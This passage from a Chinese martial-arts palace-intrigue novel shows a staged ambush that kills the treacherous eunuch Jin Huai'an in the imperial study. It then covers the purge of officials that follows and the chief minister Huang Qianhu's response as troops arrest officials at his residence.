“规矩?”皇帝猛地打断他,目光如两道冰锥直刺过去,声音陡然提高,带着不容置疑的威严,“朕的话,就是规矩!” “老奴不敢!老奴该死!老奴该死!”晋槐安吓得浑身一颤,噗通一声跪倒在地,磕头如捣蒜。 皇帝不再看他,目光重新落回丁爻身上,语气森然:“丁爻,朕给你最后一个机会,只要你将通天卫中那些吃里扒外的东西一一指认出来,朕,便保你妻儿老小平安无事,给你丁家留一条血脉!” 丁爻猛地抬起头,脸上老泪纵横,眼中交织着绝望、痛苦与一丝微弱的希冀,他颤声道:“谢……谢陛下隆恩!” 晋槐安这才慌忙从地上爬起来,脚步有些虚浮地走到御书房一侧的书架旁,手指在某个隐蔽的机括上一按,取出一个不大的紫檀木盒。 他捧着木盒,迈着小碎步回到丁爻面前,弯下腰,声音带着一种怪异的劝诱:“丁大人,您就……就按陛下说的办吧。指认了,家人好歹……好歹能有一条活路。” 丁爻漠然地点了点头,眼神空洞,仿佛灵魂已被抽离,他缓缓抬起剧烈颤抖的双手,如同承接千斤重担般,接过那个看似小巧却决定无数人生死的木盒。 然而,就在木盒入手,他指尖触碰到盒盖锁扣的瞬间,异变陡生! 丁爻眼中猛地爆射出一股决绝的厉芒,原本颤抖的手臂陡然稳住,他猛然将木盒调转了一个方向,随即迅速将其打开,用开口那一面正对着近在咫尺的晋槐安。 “咔哒……”一声轻响,机括弹动。 霎时间,一片密集的、闪烁着幽蓝寒光的细针,如同暴雨梨花,从木盒中爆射而出,带着尖锐的破空声,直扑晋槐安面门与胸腹! 晋槐安猝不及防,距离实在太近,他根本无从闪避。 死亡的阴影瞬间笼罩而下,可就在此刻,这位平日里步履虚浮、小心翼翼的老太监体内竟然爆发出一股恐怖的气息。 只见他手中那柄看似装饰用的拂尘猛地一挥,精纯的真气灌注之下,尘尾根根细丝瞬间绷直,绽放出晶莹白光,在他面前舞成一团光幕。 “叮叮叮叮……” 一阵密集如雨打芭蕉的清脆撞击声响起,射向他面门的毒针竟被这拂尘尽数挡下或扫飞。 然而,那些射向他胸腹的毒针,他却似乎已无力格挡。 第一卷 第458章 半步宗师 但下一刻,只听见一阵‘噗噗’的闷响,那些毒针撞击在晋槐安的官袍之上,竟未能刺入,而是如同撞上铁板,有的挂在衣袍表面,有的则无力地掉落在地,发出细微的声响。 丁爻见状,瞳孔骤然收缩,失声惊道:“软甲?” 多年前,兵器鉴汇集天下巧匠,耗费数载光阴,方为陛下铸成两件贴身软甲。 此甲轻薄如绢,却号称能抵御天下利器,蹊跷的是,软甲功成之日,主持匠师便离奇失踪,此事当年在朝野掀起不小波澜,最终却成了一桩无头公案。 此刻,丁爻眼见晋槐安竟身着此等御用之物,心头剧震,更加坚定了当初的猜想,必然是永夜在背后插手了,否则,不可能连通天卫都查不出来。 然而,值此生死关头,不容他细想,丁爻毫不犹豫地将空木盒奋力掷出,木盒挟着劲风直扑对方面门。 晋槐安冷哼一声,拂尘轻挥,一股阴柔劲风扫过,檀木盒竟应声炸裂,碎屑如烟尘四散。 几乎同时,一直静坐的南宫昰动了! 他身下的梨花木椅轰然迸裂,整个人如猛虎出闸,右拳凝聚雄浑真气,带着磅礴气势,直取晋槐安后心要害,这一拳毫无花巧,却是千锤百炼的夺命杀招。 晋槐安头也不回,左掌诡异地自肋下穿出,掌心泛着道道真气,硬生生迎上这开山裂石的一击。 “轰!” 两股真气猛烈碰撞,气浪翻滚,御书房内烛火剧烈摇曳,将众人扭曲的影子投在墙壁上,满屋闪烁。 南宫昰连退五步,每一步都在地砖上留下深刻脚印,他只感觉整条手臂酸麻刺痛,晋槐安同样不好受,被刚猛拳劲震得气血翻腾,连退三步方稳住身形。 就在这旧力已尽、新力未生的瞬间,异变陡生! 原本看似重伤倒地的丁爻,眼中骤然迸射凶光,他强忍剧痛,身形如猎豹般暴起,袖中暗金匕首划出一道致命寒芒,直刺晋槐安心口! 这一刀不仅快到极致,对于时机和角度的把握更是恰到好处。 晋槐安面露惊诧,竟不闪避,右掌悍然拍向丁爻胸口,竟要以伤换命! “砰!” “嗤!” 两声异响几乎同时迸发。 丁爻如断线风筝般倒飞出去,撞碎身后太师椅,木屑纷飞中一口鲜血狂喷,而他手中匕首,也终于刺入了晋槐安左胸。 “这,不可能?”晋槐安踉跄后退,难以置信地低头。 那件号称刀枪不入的御用软甲,竟被这把不起眼的匕首轻易刺穿,鲜血迅速染透了暗紫色的宦官服。 他猛然运转真气封锁筋脉,暂时为伤口止血,而南宫昰却再一次扑了上来,对于这位本身便是八重境武修的禁军统帅,杀机如实质般在晋槐安眼中凝聚,拂尘再展,万千银丝灌注真气后发出冤魂哭泣般的呜咽,织成死亡罗网罩向南宫昰。 南宫昰铁拳被柔韧丝线缠绕,护体真气发出不堪重负的撕裂声,晋槐安指如利剑,直取其眉心死穴! 危急关头,南宫昰暴喝发力,左腿如钢鞭般抽出,狠狠踹在对方伤口! “砰!” 两人再次分开,晋槐安伤口崩裂,鲜血自嘴角溢出,南宫昰的拳锋已被割得血肉模糊,深可见骨。 接连受创让晋槐安彻底疯狂,他身形急转,如一只巨大的蝙蝠,直扑御案后的皇帝。 显然是要狗急跳墙,将目标锁定在皇帝身上。 周承渊瞳孔微缩,搭在扶手上的指节因用力而发白,但帝王威严让他依旧稳坐如山,烛光下,他斑白的两鬓显得格外刺目。 “嗡!” 千钧一发之际一道寒芒自御案旁的阴影中迸发,一名玄衣暗卫如鬼魅现形,长剑如游龙,带着一往无前的决绝,直刺晋槐安咽喉。 “来得好!”晋槐安尖啸,染血拂尘精准缠向剑身,万千银丝如毒蛇绞杀。 “咻咻咻!” 暗卫手腕急抖,剑气如莲花绽放,疯狂旋转切割,拂尘银丝寸寸断裂,化作漫天银雨飘落。 长剑挣脱束缚,去势稍减,却依旧毒辣地刺向对方心口。 “叮!” 剑尖点在胸口,再次被软甲挡住,火星四溅中,晋槐安趁机用断柄荡开长剑,抽身后退。 可为时已晚。 南宫昰与浴血的丁爻已如两道铁闸,死死封住所有退路。 “轰……” 又是一声巨响,他与南宫昰硬拼一击,南宫昰再次被震退一丈多远,他只感觉整只手臂已经彻底失去了知觉,体内更是真气涌动,气血翻滚,一口鲜血不受控制地喷出。 “小心,这阉狗已是半步宗师!”南宫昰惊呼一声。 丁爻冷哼一声,说道:“半步宗师又如何,终究没有踏入宗师境!” 话音未落,他已经再次欺身到近前,手中匕首如毒蛇吐信,再次划向其咽喉。 晋槐安深知他手中那把匕首可以破开自己的软甲,不敢有丝毫大意,面对丁爻那犀利而刁钻的刀法,他不敢有丝毫大意,就在刚才的对抗中,对方轻描淡写便将他手中那根纯铁打造的尘柄削断。 与此同时,那名暗卫与南宫昰也再一次扑到近前,三人舍命合围,剑光拳影将老太监死死困在方寸之地,烛火将尽,昏暗光影中,四道身影如皮影戏般在墙壁上疯狂纠缠。 “嗤!” 丁爻拼着肋下中了一记阴毒指风,匕首终于划过晋槐安小腿,深可见骨的伤口血如泉涌,在地上洒出斑驳痕迹。 晋槐安发出野兽般的痛嚎,反手将断柄狠狠扎入丁爻肩胛! “呃啊……”丁爻闷哼,却露出狰狞笑容,左手死死抓住肩头柄杆,不让对方抽回。 这以血换来的破绽,被南宫昰与暗卫瞬间抓住,南宫昰凝聚残存真气,整个人如疯虎扑上,左拳如陨星轰在对方胸口旧伤! “噗!” 晋槐安如断线风筝倒飞出去,重重撞在蟠龙金柱上,体内真气一片紊乱,当场喷出一大口鲜血,胸前的伤口再次淌血。 “去死!” 老太监发出一声凄厉至极的尖啸,那声音仿佛带着某种穿透耳膜的魔力,直刺人心。 第一卷 第459章 老阉狗伏诛 他目眦欲裂,脸上交织着痛苦与疯狂,凝聚起最后残存的内力,一掌悍然拍向紧随而至的南宫昰胸口,企图拉一个垫背。 然而,早有防备的南宫昰岂会再给他机会? 只见南宫昰身形微侧,险之又险地避开这垂死一击,同时,他手中不知何时已握住了那把暗金色的匕首,正是丁爻之前所用之神兵。 一道凝练到极致的暗金锋芒,如同毒蛇出洞,精准无比地没入了晋槐安脐下三寸的气海要穴! “噗嗤……” 利刃破体的声音轻微却致命。 晋槐安猛地低头,不敢置信地看着没入自己气海的匕首,眼中充满了惊骇与绝望。 他能清晰地感觉到,一身苦修数十载的雄浑真气,此刻正如决堤的江河,以前所未有的速度从破碎的气海中疯狂倾泻、消散。 这瞬息间的破绽,对于顶尖高手而言,已然足够。 “嗤!” 又一声轻响,几乎在匕首没入气海的同时,那名如影随形的玄衣暗卫已然抓住这千载难逢的时机。 他手中长剑化作一道冷电,不偏不倚,正好顺着丁爻最初匕首刺出的伤口,精准无比地刺入,剑尖毫无阻碍地穿透血肉,径直贯穿了晋槐安那颗仍在微弱跳动的心脏! “呃……噗!” 晋槐安身体剧震,大口大口的鲜血从口中涌出,将他惨白无须的下巴染得一片猩红。 他死死瞪大双眼,目光死死锁定在缓缓走近的皇帝身上,那眼神之中,充满了滔天的愤恨、无尽的不甘,以及一种令人心悸的怨毒。 他能清晰地感觉到,自己的生命正在以一种无可挽回的速度流逝,体温也随之迅速冰冷。 皇帝周承渊这才迈步上前,尽管他极力维持着身为帝王的威仪,面色沉静如水,但那微微急促的呼吸,以及龙袍袖口中尚在轻颤的手指,依然泄露了他内心的惊魂未定。 方才那生死一线的刺杀,实在太过凶险。 “晋槐安,你这背主求荣的老阉狗!该杀!”皇帝的声音带着压抑到极致的愤怒,每一个字都像是从牙缝中挤出来一般,充满了刻骨的恨意。 “嚯……嚯嚯……”晋槐安喉咙里发出破风箱般刺耳而诡异的笑声,在这死寂的御书房内回荡,令人毛骨悚然。 他那双正在迅速失去神采的眼眸,死死盯着皇帝,里面竟浮现出一种阴冷而充满恶意的嘲弄:“杀……杀了咱家……也阻止不了……大周……必亡……嚯……” 最后一个带着讥讽意味的音节戛然而止,他脑袋一歪,眼中最后一丝光亮彻底湮灭,气息断绝。 几乎就在他气绝的瞬间,御书房外传来一阵密集而沉重的脚步声,伴随着金属甲叶有节奏的碰撞之声,肃杀之气扑面而来。 大批身披精甲、手持利刃的龙甲卫如潮水般涌至门外,将整个御书房围得水泄不通。 龙甲卫,不同于护卫皇城的禁军,乃是皇帝最贴身的死士亲卫,只效忠于天子一人。 皇帝看都未再看地上那具尸体,语气冰冷得如同数九寒冰:“将这阉狗的尸首拖出去,丢到城外乱葬岗,曝尸三日,任野狗啃食!朕要他死无全尸,永世不得超生!” 显然,皇帝对此人的恨意,已然倾尽三江五湖之水也难以洗刷。 事实上,早在半年前,他通过某些隐秘渠道,已然察觉这位跟随自己数十年、看似忠心耿耿的贴身大太监竟包藏祸心。 但却一直隐忍不发,没有急于动手,一来是深知晋槐安在宫中并非孤身一人,牵一发便会动全身;二来,更是清楚此人身负九重境的深厚修为,一旦打草惊蛇,恐遭反噬,引火烧身。 故而,他才精心策划,选择在今晚这个对神都官场进行雷霆清洗的关键节点,与丁爻、南宫昰联手演了这一出戏,目的就是为了引出并除掉这条藏得极深的老毒蛇。 为了确保计划万无一失,他甚至不惜让丁爻这颗好不容易才打入敌人内部的重要棋子提前暴露,可见其决心之大,代价之重。 然而,即便事先精密演算,也万万没有料到,晋槐安的修为竟在不知不觉中突破到了半步宗师之境。 若非三人皆是八重境中的佼佼者,实战经验丰富,且配合默契,抱着必死之心联手搏命,今晚鹿死谁手,犹未可知。 一旦失手,让这半步宗师境的晋槐安挟持甚至弑君成功…… 那后果,他们简直不敢想象,届时,恐怕不仅仅是他们自身被诛灭九族那么简单,整个大周王朝都将陷入万劫不复的深渊,而他们,更将沦为千古罪人,被永远钉在历史的耻辱柱上。 万幸,苍天庇佑,他们终究是不辱使命,拼死除掉了这位实力超绝、祸乱宫闱的巨宦。 很快,几名龙甲卫精锐上前,面无表情地将晋槐安尚有余温的尸体如同拖死狗一般拖了出去,地板上留下一道蜿蜒刺目的血痕。 其余龙甲卫则悄无声息地退下,训练有素的重新隐没在宫殿的阴影之中。 至于那名关键时刻出手的玄衣暗卫,更是不知在何时,已悄然消失得无影无踪,仿佛从未出现过。 御书房内,终于彻底恢复了平静。 空气中弥漫着浓重的血腥味,混杂着真气碰撞后残留的灼热气息。 那几张碎裂迸溅的梨花木椅残骸,以及地上那一片片尚未干涸的、暗红醒目的斑斑血迹,还在无声地诉说着刚才那一战的惨烈与惊心动魄。 皇帝深吸一口气,努力平复内心的波澜,将目光转向两位伤痕累累的臣子,脸上露出一丝真切的关切:“你俩的伤势,可还撑得住?” 二人除了表面的带着血迹的伤势,还有看不见的内伤,但他们强忍着剧痛,语气坚定地说道:“臣等无恙。只是险些让陛下涉此奇险,臣……万死难赎其罪!” “好了,都到了这个时候,就别再强撑了!”皇帝摆了摆手,打断他们请罪的话,语气中带着不容置疑的关切,“朕已传召太医令,他们即刻便到。你们先下去好生疗伤,后面还有更多要事,需倚仗你二人!” 二人还欲叩拜谢恩,却被皇帝以眼神制止。 第一卷 第460章 皇宫失控 九月初四,寅时刚过。 神都的天色尚未破晓,整座城市却已在一片诡异的寂静中惊醒。 昨夜,廷尉府与禁军的铁蹄踏碎了无数府邸的宁静。一场毫无征兆的大清洗在夜幕掩护下展开,上百名官员被连夜缉拿,如此规模的雷霆行动,在这座帝都已是多年未见。 更令人心惊的是,有细心者发现,这场清洗的对象,竟都与一年前苏定方大将军的案子有着千丝万缕的联系。 这个发现像野火般在暗处蔓延,引发了无数猜测与联想。 偌大的神都城,被一层无形而沉重的阴霾笼罩,人人都在揣测这场风暴背后的深意。 朝堂之上,更是人人自危。昨夜被带走的官员中,最高已至从三品,正四品、从四品的官员更是不在少数,每一个名字背后,都牵扯着一张庞大的关系网。 寅时刚至,午门外已聚满了等候上朝的官员。依照旧例,文官聚于右掖门,武官列于左掖门。 往昔此时,右掖门前总是冠盖云集,朱紫满眼。文官们掎裳连襼、谈笑风生,气焰之盛,几乎要将晨曦都染上几分文墨气息。而左掖门前,往往只有稀稀拉拉几道身影,显得格外冷清。 论及分量,更是天壤之别。文官集团以内阁首辅黄千浒为首,文渊阁大学士等重臣簇拥左右,声势浩大。而武官这边,仅有兵部尚书耿云旌与禁军统帅南宫昰勉强支撑门面,势单力薄,难以与根深蒂固的文官集团抗衡。 这也是一直以来武官在朝堂上话语权微弱的原因所在。昔日有苏定方大将军坐镇,尚能勉强维持平衡。自苏将军倒台后,朝堂上便只剩一种声音。更令人扼腕的是,兵部不少关键职位也陆续落入文官手中,如兵部右侍郎等重要位置。 或许是因为再无制衡,文官集团内部也开始出现裂痕,各个派系明争暗斗,其背后无不站着盘根错节的世家门阀。 然而今日,右掖门前的景象却大不相同。队伍明显稀疏了许多,许多熟悉的面孔一夜之间消失无踪。空气中弥漫着一种令人窒息的压抑感,官员们个个面色凝重,连交谈都压低了声音,仿佛生怕惊动什么。 就在这片诡异的寂静中,一顶朱红色官轿缓缓落地。 轿帘掀起,一位身着丹霄雀御服,绣着精致孔雀开屏嵌白镜补子的老者躬身而出。他左颊上那块深褐色老年斑,在清晨的灯火下显得格外醒目。 “参见首辅大人!”一众文官如同找到主心骨,纷纷上前行礼。 黄千浒只是微微颔首,对队伍中少了许多人视若无睹,径直走到最前方。他那双深邃的眼眸平静无波,仿佛昨夜的一切都与他无关。 一直眉头紧锁的户部尚书顾承均连忙迎上,正要开口,却被黄千浒一个细微的手势制止,只得悻悻退到一旁。 寅时三刻。 午门缓缓开启,掌印司的林公公出现在门内。他清了清嗓子,用特有的尖细嗓音宣告:“陛下偶染风寒,今日朝会取消!” 众人闻言,脸色皆是一变。连黄千浒也微微眯起眼睛,沉吟片刻后问道:“林公公,陛下昨日还好好的,为何突然病倒?” “首辅大人说笑了,”林公公躬身赔笑,“奴才只是个传话的,哪里知道这些。” 黄千浒目光微沉:“本阁有要事禀报,还请公公通禀一声。” “首辅大人稍候,奴才这就去禀告陛下。”林公公说完,带着两名小太监转身入内。 就在转身的刹那,一名小太监袖中悄然滑落一枚蜡黄色的小圆球。黄千浒不着痕迹地向前一步,精准地将蜡丸踩在脚下。 待林公公走远,他才借着整理官袍的动作,弯腰拾起那枚拇指大小的蜡丸,悄然纳入袖中。 这时,身后的文官们迫不及待地围拢上来,个个面带忧色:“首辅大人,这……” 黄千浒抬手打断:“都散了吧,现在回去还能睡个回笼觉。” 众人面面相觑,却不敢多问,只得陆续散去。转眼间,午门前只剩下黄千浒与顾承均二人。 黄千浒这才从袖中取出蜡丸,指尖微一用力,蜡壳碎裂,露出一张二指宽的纸条。上面只有四个墨迹未干的小字: 皇宫失控。 这四个字重若千钧。 黄千浒将纸条揉碎在手心,语气平静得可怕:“看来,陛下是要撕破脸了。” “首辅大人,昨夜我们损失惨重啊!”顾承均压低声音,痛心疾首,“不仅折了晋槐安这个最重要的耳目,通天卫和廷尉府也被清洗一空。如今在宫里的眼线,就剩下几只小虾米了!” 黄千浒轻轻摇头:“那些小虾米,很快也保不住了。” 他抬眼望向紧闭的宫门,目光深邃如渊,随即转身走向自己的官轿。 “不必担心,”他的声音在晨风中异常清晰,“大周已经病入膏肓,无人可救。” 这话说得毫不避讳,仿佛在陈述一个既定的事实。说完,他便弯腰钻进轿中。 而此刻,刚刚离开的林公公一行人,还没走出多远,就被几名金甲卫拦住了去路,冰冷的甲胄在晨曦中泛着寒光。 林公公不动声色地立身在原地,身后其中一名小太监低垂的目光中闪过一丝慌乱,随着两名金甲卫靠近,那名小太监双手止不住地颤抖。 然而,还不等他反应过来,两名金甲卫便将他架住,直接带走,全程没说一句话,林公公也权当什么事都没发生,继续带着剩下那名小太监返回。 天色放亮,可昨夜那场风暴却并未停歇,金甲卫出入宫内各处,不断有太监宫女被带走,就连后宫也都出现了进金甲卫的身影。 宫外的神都风暴更为猛烈,如果说昨晚风暴主要席卷的对象是朝堂官员,那么今日便是朝着市井蔓延,商铺、酒楼、青楼、作坊随处可见禁军和廷尉府的身影。 一时间,偌大的神都人心惶惶,哪怕是不明所以的老百姓,也能感受到这那股无形的压力,许多人更是待在家中不敢出门,一些已经出摊的商贩也都早早收摊回家。 第一卷 第461章 宫里来信 九月初四,清晨。 王府庭院内,晨露未晞。 凌川一如往常,在天光微熹时便开始晨练。 他手持破殇锋,枪尖划破薄雾,发出凌厉的破空之声,每一式都沉稳霸道,他的枪术虽承自唐岿然,但却也融合了自己在沙场厮杀的经验。 就在他一套枪法将尽,气息微喘之际,总管刘恩赐迈着悄无声息的小碎步穿过廊庑,来到院中。 他手中捧着一封没有署名的密信,躬身递上。 “将军,您的信!”刘恩赐的声音一如既往地恭敬。 凌川收势,长枪顿地,他接过信,目光扫过空无一字的信封,问道:“公公,从何处传来?” “宫里来的!”刘恩赐垂首应答,语气平稳,却让这简单的四个字陡然增添了千钧重量,因为他很清楚这四个字意味着什么。 凌川眉头几不可察地微微一蹙,迅速拆开火漆,迅速扫过信上内容。 上面清晰罗列了昨夜至今神都发生的巨变,许多名字,他昨夜都从风雪楼带回的那本册子上看到过。 凌川神情逐渐凝重,唇角紧抿,但那双深邃而平静的眼眸深处,隐约可见疑问的涟漪涌动。 他不动声色地将信纸折好收入怀中,仿佛无事发生,再次操起长枪。 刘恩赐静立一旁,沉默得像一道影子,目光却始终胶着在凌川身上。 当他看到凌川后续施展出的枪法愈发霸道凌厉,劲风呼啸,仿佛要将周遭空气都撕裂时,浑浊的老眼里不禁掠过一丝难以掩饰的惊悸。 他心下暗叹,难怪此子年纪轻轻,便能在北疆杀出赫赫凶名,仅凭这套沙场搏命的枪法,其勇悍便已远超寻常将领。 约莫一炷香后,凌川收枪,额角已见细密汗珠,他回房简单洗漱,换下汗湿的衣衫,来到膳堂与苏璃一同用早膳。 或许是知道凌川有话与苏璃商议,刘恩赐并未像往常一样侍立在门口,而是识趣地退到了远处。 餐桌上,精致的早点散发着热气,凌川却没什么胃口。 他取出那封密信,推到苏璃面前:“娘子,你看看这个!” 苏璃放下银箸,接过信细细阅读,随着目光下移,她秀美的眼眸中也浮现出与凌川相似的疑惑与凝重。 “相公,这是谁传来的信?” “宫里!”凌川吐出两个字,手指却隐晦地向上指了指。 苏璃瞬间明悟,但疑惑更甚:“陛下……他这是什么意思?” “我也难以断言!”凌川微微摇头,拿起汤匙轻轻搅动碗里的清粥,“若真是为了肃清朝纲,为何偏偏选在此时动手?我们刚刚抵达神都,这时机未免太过巧合!” 苏璃颔首,眉宇间忧色不减:“若只是为了做戏给我们看,这代价……未免也太大了,上百官员下狱,其中不乏高品大员,这已动摇国本,绝非儿戏。” “是啊。”凌川放下汤匙,目光锐利,“而且,陛下特意调回阎鹤诏来主持此事,绝非临时起意,定然另有深意。这是一盘大棋,我们……只是恰好闯入棋局的棋子。” 苏璃抬眸望向凌川,眼中神色复杂,带着一丝不易察觉的惶恐。 凌川知道,她是担心皇帝想用这场血腥的清洗来平息苏家的冤屈,以此作为交换,让他不再深究父帅之死的真相。 “娘子多虑了!”凌川伸手轻轻覆上她微凉的手背,温言道,“我不过一个边军五品将领,人微言轻,还不至于让陛下为我如此大动干戈,此举背后,定有更深的意图。” 苏璃却反手握紧了他的手,眼神变得异常坚定:“相公,小璃担心的正是于此,现在看来,我们已成为这场风暴的导火索,但绝不能成为风暴过后,被牺牲的祭品!” 她伸出纤指,点在密信上一行字迹:“相公可还记得,当日在望云关,蓝将军曾言,当初下令处理南系军后续的,乃是禁军统帅南宫昰。可如今,这位南宫统帅却联手陛下与廷尉府丁爻,除掉了潜伏宫中的晋槐安……我是越来越看不懂了,这神都波谲云诡,到底谁才是敌人?谁又是可信任的盟友?” “在这权力的泥沼里,并无绝对的盟友与敌人!”凌川没有向她透露永夜的存在,只是轻轻将她揽入怀中,低沉的声音带着令人安心的力量,“娘子放心,不管这潭水有多深,若真有人想将我们埋葬于此,我定会让拉着他一起上路!” 苏璃在他怀中微微仰头,清澈的眼眸直视着他,轻声问出了一个沉重的问题:“如果……那个人是陛下呢?” 凌川没有丝毫犹豫,斩钉截铁地答道:“纵是天王老子,也不例外!” 这话并非狂妄,而是蕴含着不容置疑的决心与底气。 在来神都之前,北系军主帅卢恽筹曾托陆含章给他带了一道绝密口信,那才是他敢于直面皇权、周旋于各方势力之间的真正依仗。 他心中雪亮,无论是陛下想用他这把刀来剜除帝国腐肉,为国续命;还是卢恽筹想借他之力与皇权抗衡,谋求边军更大的自主,本质上,他都是一把被人握在手中的刀。 刀柄在谁手中,他便为谁所用。 唯有将刀柄牢牢握在自己手中,才能真正主宰自己的命运,只是眼下,形势比人强,他羽翼未丰,想要彻底挣脱棋子的命运,前路尚且漫长。 这场席卷神都的清洗风暴,一直持续到午时才逐渐平息,并非因为尘埃落定,而是因为,神都各大牢狱,已然人满为患。 整座帝都陷入了前所未有的恐慌,上至朝堂诸公,下至六部小吏,无不人人自危,如坐针毡。 就连那些盘踞神都数百年的世家门阀、钟鸣鼎食的豪门贵胄,也感受到了刺骨的寒意,往日歌舞升平的府邸,此刻亦是寝食难安。 与此形成鲜明对比的是内阁首辅府邸的书房。 黄千浒静坐于窗前的黄花梨木圈椅上,窗外明媚的秋光映照在他身上,他却神色平静,宛如一口深不见底、波澜不惊的古井。 第一卷 第462章 到首辅府拿人 此时,黄千浒手中正翻阅着一本看似不新不旧的手札。 说它不新,是因为手札的纸张边缘已显磨损,显然时常翻阅。说它不旧,是因为其缝线尚且完好,内里的墨迹也依旧清晰。 约莫半月前,这位权倾朝野的首辅大人手中便多了这本手札,无人知晓其内容。 若有心人能够凑近细看,便会发现,手札开篇赫然抄录着凌川当日曾言的‘乾坤四训’。往后翻去,则是那篇惊世骇俗的《水舟论》,以及凌川对于‘修身、齐家、治国、平天下’的诸多独到见解。 或许凌川自己都未曾料到,他昔日于云州和幽州归途中,随口道出的言论,早已通过各种隐秘渠道,在神都的朝堂与士林学子间悄然传遍。 其立意之高远,忧思之深切,已被无数人奉为圭臬,悄然影响着这座古老帝都的思想暗流,黄千浒此刻的平静之下,反复咀嚼这些文字时,心中又在盘算着怎样的惊涛骇浪,便无人得知了。 窗外庭院中,近二十名官员如同泥塑木雕般静立。 从身着绯袍的从三品侍郎,到青袍的五品参事,品级分明地站立在秋日的阳光下,至于五品以下的官员,连踏入这座首辅府大门的资格都没有。 这些官员中,有人是真心来此寻求庇护,但更多的是期盼首辅大人能出面平息这场突如其来的风波。 不知从何时起,文官集团内部已潜移默化地形成了一种共识,内阁首辅黄千浒,已具备了与皇权分庭抗礼的资本。 自以苏定方大将军为首的武官集团垮台后,四方总督常年驻守边关,朝堂之上便只剩下三股势力,一是至高无上的皇权,二是以内阁黄千浒为首的文官集团,三则是以文渊阁大学士齐清远为首的另一支文官势力。 此刻庭院中寂阒无声,偶尔有翻书的声音传来,黄千浒看得很缓慢,也很认真。 官员们个个屏息凝神,只敢偶尔偷偷抬眼,从窗口窥视那张布满皱纹的侧脸,整个院子安静得只剩下书页翻动的细微声响,每一次翻页都牵动着在场每一个人的心弦。 就在这时,一阵急促的脚步声打破了这片死寂。 只见一名身着墨绿色锦袍的年轻男子快步穿过月洞门而来,他约莫二十五六岁年纪,眉宇间自带几分天家贵气,步履间却带着掩饰不住的焦躁。 他先是冷眼扫过庭院中噤若寒蝉的官员们,随后径直来到书房窗前,对着窗内那个专注看书的身影恭敬行礼。 “学生周苍,拜见老师!” 来人正是当朝大皇子,更是极有可能成为未来的国君。 黄千浒这才缓缓抬起眼皮,目光越过书页的上缘,落在大皇子身上:“殿下若是为求学而来,老臣欢迎。若是为其他事……”他顿了顿,声音平淡无波,“就请回吧!” “老师……”周苍脸上掠过一丝急切,正要开口,却被黄千浒一个抬手打断。 “陛下的决定,我们做臣子的,只能尽力为陛下分忧,而不是添乱!”黄千诲意味深长地看着他,“殿下书架上的那本《涧栖愚录》,是不是很久不曾翻阅了?” 大皇子闻言,眼底神色骤然一变,脸上的焦虑渐渐褪去,取而代之的是一种恍然。 他再次躬身行礼:“学生明白了,多谢老师指点。”说罢,他转身离去,脚步已不似来时那般慌乱。 大皇子离开不久,府外忽然传来整齐划一的脚步声和甲胄碰撞的铿锵之声,一身铠甲的蓝少堂腰悬战刀,带着一队禁军精锐径直闯入庭院。 阳光照在锃亮的铠甲上,反射出慑人的寒光。 “大胆!谁准你们擅闯首辅府邸?”礼部左侍郎郑存叙第一个站出来厉声呵斥。 蓝少堂缓缓转过身,冰冷的目光扫过郑存叙:“郑大人是不认得末将,还是不认识这身禁军铠甲?” “蓝少堂,你可要想清楚,这里是什么地方!”郑存叙刻意瞟了眼窗内依旧静坐的身影,色厉内荏地说道。 蓝少堂唇角勾起一抹冷笑:“禁军护卫神都,这京城之内何处去不得?特殊时期,甚至可以直达天听,这一点郑大人莫非不知?” 郑存叙顿时语塞,一张脸涨得通红。 就在这剑拔弩张的时刻,黄千浒终于缓缓合上手中那本手札。 他仔细地将棉绳系好,每一个动作都从容不迫,仿佛院中的骚乱与他无关,直到将书册轻轻放在案上,他才抬眼望向院中。 “蓝统领大驾光临,不知有何指教?”他的声音不温不火,脸上看不出丝毫情绪波动。 “首辅大人,末将奉命协助廷尉府,前来带几个人回去问话!”蓝少堂不卑不亢地回道。 黄千浒眼底闪过一丝极快的怒意,随即又恢复平静:“自陛下登基以来,还从未有人敢进我这首辅府拿人,蓝统领确定要开这个先例?” 蓝少堂假装听不懂话中的威胁,依旧面带微笑:“末将也是奉命行事,还望阁老体谅!” “若是老夫不让呢?”黄千浒脸上依然挂着淡淡的笑容,眼神却逐渐凌厉如刀。 听闻此言,蓝少堂心知今日想要顺利带人离开,恐怕难如登天。 但他依然挺直腰板,一字一句道:“末将接到的命令是,务必把人带回廷尉府,不论生死。” ‘不论生死’四个字,他咬得格外重,每一个字都像是砸在青石板上的铁钉。 黄千浒眼中的杀意缓缓敛去,嘴角勾起一抹令人不寒而栗的笑容:“很好,很好,很好。” 他一连说了三个‘很好’,这放在神都任何场合都足以让人胆寒的语气,此刻却未能震慑住蓝少堂。并非蓝少堂这个禁军统领有与首辅抗衡的资本,而是他背后的人,有这个底气。 最终,在众目睽睽之下,蓝少堂带走了五名官员:三名五品,一名正四品,还有从三品的礼部左侍郎郑存叙。当郑存叙被两名禁军押着经过窗前时,他求助地望向黄千浒,却只看到一双深不见底的眼眸。 第一卷 第463章 活成自己最憎恨的人 禁军来去如风,不过片刻,庭院再次恢复了寂静。 忽然,剩下的十多名官员齐刷刷跪倒在地,叩首声此起彼伏。 “阁老,您再不出手,可就真的来不及了!”众人异口同声地恳求,声音中带着绝望。 黄千浒缓缓起身,踱步到窗前,秋日的阳光照在他布满皱纹的脸上,投下深深的阴影。 他俯视着跪满一地的官员,目光深沉得如同两口千年古井: “你们……真想成为史书上祸乱朝纲的奸臣吗?” 此言一出,满院寂然。 所有到了嘴边的谏言都被硬生生噎了回去,每个人都抬起头,用灼热的目光紧紧盯着那个站在窗前的苍老身影,空气中弥漫着一种令人窒息的气氛。 黄千浒的目光越过跪伏在地的官员们,仿佛穿透了时光的帷幕,回到了那个久远而苦涩的童年,秋日的阳光斜照进庭院,将他脸上那块深褐色的老年斑映衬得格外清晰,如同岁月烙下的印记。 “我黄千浒的出身,比你们在座的任何一位都要低微……”他的声音平静,却带着一种穿透人心的力量,“刚满月便丧父,三岁那年,母亲也撒手人寰。是一个瘸腿的老秀才收养了我,从此我每日帮着劈柴、挑水,只为换一口残羹冷炙……” 他的眼神邈远,似乎在注视着那个衣衫褴褛、瘦骨嶙峋的孩童。“在老秀才的私塾外,我看着那些与我同龄的富家子弟坐在明亮的学堂里,他们心不在焉地念着圣贤书,满心只想着课后的嬉戏。而我,却要在天亮前就起身,赶在开课前把所有杂活干完,然后蹲在那堵土墙外,听着里面传来的朗朗书声。” 说到这里,他微微停顿,手指无意识地在窗棂上轻叩:“为了听得更真切些,我偷偷用手指在土墙上抠出一个小洞,那个只有拇指大小的洞,成了我窥见另一个世界的唯一窗口!” 